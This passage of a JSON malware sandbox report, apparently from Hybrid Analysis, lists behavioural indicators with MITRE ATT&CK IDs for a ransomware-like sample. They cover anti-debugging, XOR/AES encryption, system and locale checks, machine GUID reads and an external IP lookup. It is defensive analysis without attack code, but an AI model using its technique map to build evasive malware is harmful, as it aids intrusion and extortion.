\"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 11225-4844-004117DA\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00006344-20777-27-004329EC\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00000000-00005728-35490-27-004329EC\n SetUnhandledExceptionFilter@KERNEL32.dll at 53698-2283-0041150B","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API MessageBoxW@USER32.DLL at 00000000-00006344-20777-29-0042A57A\n Found reference to API CreateFile2@KERNEL32.DLL at 00000000-00006344-20777-508-0043B88D\n Found reference to API MessageBoxW@USER32.DLL at 00000000-00005728-35490-29-0042A57A\n Found reference to API CreateFile2@KERNEL32.DLL at 00000000-00005728-35490-508-0043B88D","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2e","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00005728.00000000.80675.00600000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to use AES encryption instructions","description":"Found string \"AESNI_INIT_KEY\" (Indicator: \"AESNI\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found string \"AESNI_XTS_CIPHER\" (Indicator: \"AESNI\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found string \"AESNI_INIT_KEY\" (Indicator: \"AESNI\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found string \"AESNI_XTS_CIPHER\" (Indicator: \"AESNI\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found string \"AESNI_INIT_KEY\" (Indicator: \"AESNI\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found string \"AESNI_XTS_CIPHER\" (Indicator: \"AESNI\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1573.001","relevance":3,"id":"string-584","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \" ^ \"; File: \"syncres.dll.mui\")\n file/memory contains long string with (Indicator: \" ^ \"; File: \"retaildemosetupinclusive.js\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$30","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.6650727747447025","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: HTTP request contains Base64 encoded artifacts\n Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to attach base64 encoded attachment to an email\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains long base64 encoded strings\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: YARA signature match - AES Encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$31","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use asymmetric encryption algorithm","description":"The analysis found public/private key which shows ability to use asymmetric encryption algorithm. Matched sigs: Possibly contains Public/Private key (encryption)","origin":"Indicator Combinations","mitre_attack_id":"T1573.002","relevance":1,"id":"summary-33","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - RC4 Encryption\n Matched sigs: YARA signature match - AES Encryption\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Found potential IP urls in memory dumps\n Matched sigs: Possibly tries to communicate over SSL connection (HTTPS)","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"04587099.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006576)\n \"04587099.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005728)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"04587099.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005124)\n \"04587099.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006576)\n \"04587099.exe\" called \"RtlGetNtProductType\" (UID: 00000000-00006576)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"04587099.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f023000002000000004245000a00000001000000e06f4d00d50100000900000001000000e06f4d00d5010000beca63cad6c162cad66163ca56c264cad62563cad6c162cad6c966cad64963cae65d65cad6c16aca564263caf6e962ca964a73cad6c162ca96026dca56c282cac828000000800000a8080000800000008810000000000000400a0000 (UID: 00000000-00005728)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"icacls.exe\" called \"LookupAccountSidW\" (UID: 00000000-00007112)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerates all mounted drives","description":"GetLogicalDrives@KERNEL32.DLL at 00000000-00006344-20777-156-00410A50\n GetLogicalDrives@KERNEL32.DLL at 00000000-00005728-35490-156-00410A50","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-66","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"build2.exe.1057325739\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006344-20777-635-00423AAF\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006344-20777-657-004321A1\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005728-35490-657-004321A1\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005728-35490-635-00423AAF","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006344-20777-635-00423AAF\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006344-20777-657-004321A1\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005728-35490-657-004321A1\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00005728-35490-635-00423AAF","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.DLL at 00000000-00006344-20777-587-0042FE47\n GetTimeZoneInformation@KERNEL32.DLL at 00000000-00005728-35490-587-0042FE47","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00000000-00006344-20777-54-00419F90\n GetVersion@KERNEL32.DLL at 00000000-00005728-35490-54-00419F90","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetLocaleInfoA@KERNEL32.dll at 11225-776-00413A23\n GetLocaleInfoW@KERNEL32.dll at 11225-778-00413ACA\n GetLocaleInfoA@KERNEL32.dll at 11225-783-00413CF6\n GetLocaleInfoA@KERNEL32.dll at 53698-780-00413C56\n GetLocaleInfoW@KERNEL32.dll at 53698-782-00413CFD\n GetLocaleInfoA@KERNEL32.dll at 53698-787-00413F29","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1614","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GlobalMemoryStatus\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"04587099.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"04587099.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")\n \"icacls.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"DllHost.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve environment variable settings","description":"Found string \"set filename failed\" (Indicator: \"set \"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found string \"set filename failed\" (Indicator: \"set \"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found string \"set filename failed\" (Indicator: \"set \"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-326","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"build2.exe.1057325739\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$35","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeNameForVolumeMountPointA\" (Indicator: \"GetVolumeNameForVolumeMountPoint\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"build2.exe.1057325739\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve windows environment variables","description":"$36","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-557","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve/open a process","description":"OpenProcess@KERNEL32.DLL at 00000000-00006344-20777-54-00419F90\n GetProcessHeap@KERNEL32.DLL at 00000000-00006344-20777-678-004278D5\n OpenProcess@KERNEL32.DLL at 00000000-00006344-20777-111-00412220\n GetProcessHeap@KERNEL32.DLL at 00000000-00006344-20777-505-00447CAC\n GetProcessHeap@KERNEL32.DLL at 00000000-00006344-20777-1-00424141\n OpenProcess@KERNEL32.DLL at 00000000-00006344-20777-639-00412440\n GetProcessHeap@KERNEL32.DLL at 00000000-00005728-35490-678-004278D5\n GetProcessHeap@KERNEL32.DLL at 00000000-00005728-35490-505-00447CAC\n OpenProcess@KERNEL32.DLL at 00000000-00005728-35490-639-00412440\n GetProcessHeap@KERNEL32.DLL at 00000000-00005728-35490-1-00424141\n OpenProcess@KERNEL32.DLL at 00000000-00005728-35490-54-00419F90\n OpenProcess@KERNEL32.DLL at 00000000-00005728-35490-111-00412220","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1057","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk","description":"PathFileExistsA@SHLWAPI.DLL at 00000000-00006344-20777-638-004124E0\n PathFileExistsA@SHLWAPI.DLL at 00000000-00006344-20777-156-00410A50\n PathFileExistsW@SHLWAPI.DLL at 00000000-00006344-20777-65-00411CD0\n PathFileExistsW@SHLWAPI.DLL at 00000000-00005728-35490-65-00411CD0\n PathFileExistsA@SHLWAPI.DLL at 00000000-00005728-35490-156-00410A50\n PathFileExistsA@SHLWAPI.DLL at 00000000-00005728-35490-638-004124E0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":1,"id":"stream-124","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsA\" (Indicator: \"PathFileExist\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; Source: \"00000000-00004284.00000000.88232.00400000.00000040.mdmp\")\n Found reference to API \"PathFileExistsA\" (Indicator: \"PathFileExist\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; Source: \"00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp\")\n Found reference to API \"PathFileExistsA\" (Indicator: \"PathFileExist\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")\n Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; Source: \"00000000-00006344.00000000.78848.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Contains the ability to enumerate volumes (API string)","description":"Found reference to API \"GetVolumePathNameW\" (Indicator: \"GetVolumePathName\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"FindFirstVolumeMountPointA\" (Indicator: \"FindFirstVolume\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"FindFirstVolumeMountPointA\" (Indicator: \"FindFirstVolumeMountPoint\"; File: \"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin\")\n Found reference to API \"GetVolumePathNameA\" (Indicator: \"GetVolumePathName\"; File: \"build2.exe.1057325739\")","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jbe 0041A6F9h\" at 00000000-00006344-20777-54-00419F90\n Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by \"cmp eax, FFFFFFFFh\" and \"je 0043004Bh\" at 00000000-00006344-20777-587-0042FE47\n Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by \"cmp eax, FFFFFFFFh\" and \"je 0043004Bh\" at 00000000-00005728-35490-587-0042FE47\n Found API call GetVersion@KERNEL32.DLL directly followed by \"cmp al, 05h\" and \"jbe 0041A6F9h\" at 00000000-00005728-35490-54-00419F90","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$37","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"04587099.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"icacls.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"DllHost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"04587099.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"svchost.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"04587099.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\04587099.EXE\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert","description":"Detected alert \"ET INFO Packed Executable Download\" (SID: 2014819, Rev: 4, Severity: 3) categorized as \"Misc activity\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-0","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET POLICY External IP Address Lookup DNS Query (2ip .ua)\" (SID: 2027026, Rev: 3, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"\n Detected alert \"ET INFO Observed External IP Lookup Domain (api .2ip .ua in TLS SNI)\" (SID: 2033214, Rev: 1, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"64772d363cb027d4770cd917"}]},{"level":"informative","category":"General","name":"Accesses Software Policy 